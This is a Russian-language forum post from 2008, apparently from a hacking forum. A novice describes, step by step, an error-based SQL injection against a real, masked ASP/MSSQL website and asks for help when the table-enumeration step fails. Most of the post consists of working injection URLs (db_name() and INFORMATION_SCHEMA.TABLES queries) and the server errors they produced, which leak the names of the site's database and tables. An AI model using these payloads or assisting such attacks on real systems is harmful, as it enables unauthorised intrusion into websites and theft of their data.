
09.03.2008, 01:02
|
|
Новичок
Регистрация: 06.01.2008
Сообщений: 15
Провел на форуме: 29345
Репутация:
35
|
|
У меня такой вопрос:
База даных : Mssql.
Я пробывать зделать по этой стате :
http://forum.antichat.ru/thread30501-mssql.html
Первый этап прошол:
www.*****.com/?id=1'
Microsoft OLE DB Provider for SQL Server error '80040e14'
Line 1: Incorrect syntax near 'application'.
/index.asp, line 89
второй :
www.*****.com/?id=1'%20or%201=(select%20db_name())--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'player' to a column of data type int.
/index.asp, line 89
третий:
www.****.com/?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMAT ION_SCHEMA.TABLES)--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'points' to a column of data type int.
/index.asp, line 89
четвёртый:
www.*****.com/?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMAT ION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('points '))--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'points' to a column of data type int.
/index.asp, line 89
Пятый:
И тут я застрял,надо:
id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATIO N_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1', 'table2',........,'table50'))--
Что то у меня не получилось и я получил:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Line 1: Incorrect syntax near 'table1'.
/index.asp, line 89
Что мне дальше делать,или где моя ошибка?
Огромное спасибо!
|
|
|